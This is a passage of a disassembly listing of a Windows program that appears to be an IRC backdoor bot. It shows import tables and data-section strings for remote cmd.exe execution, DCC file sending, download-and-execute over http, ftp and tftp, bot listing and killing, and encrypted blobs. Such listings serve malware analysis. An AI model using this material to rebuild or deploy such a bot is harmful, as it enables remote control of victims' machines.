Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: .data:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: sub_4167F1+31r dword_4170F8 dd 77E7C2C4h ; DATA XREF: sub_4167F1+A8r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: .data:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: sub_4167F1+201r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: sub_4167F1+5o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .data:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDE0o ; .data:off_41DE00o off_4172C0 dd offset off_41DDE0 ; DATA XREF: .data:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: .data:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: .data:004172B0o dd offset off_41DDE0 dd offset dword_4172DC+4 dd 0 off_417308 dd offset off_41DE00 ; DATA XREF: .data:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .data:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: .data:004172B8o dd offset off_41DE00 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: .data:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDE0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: .data:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll_0 db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch ; DATA XREF: .data:0041800Co dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0) dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h ; DATA XREF: .data:00418008o dd 0BFD1h, 0 dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:00418004o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0 dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:off_418000o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 95h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 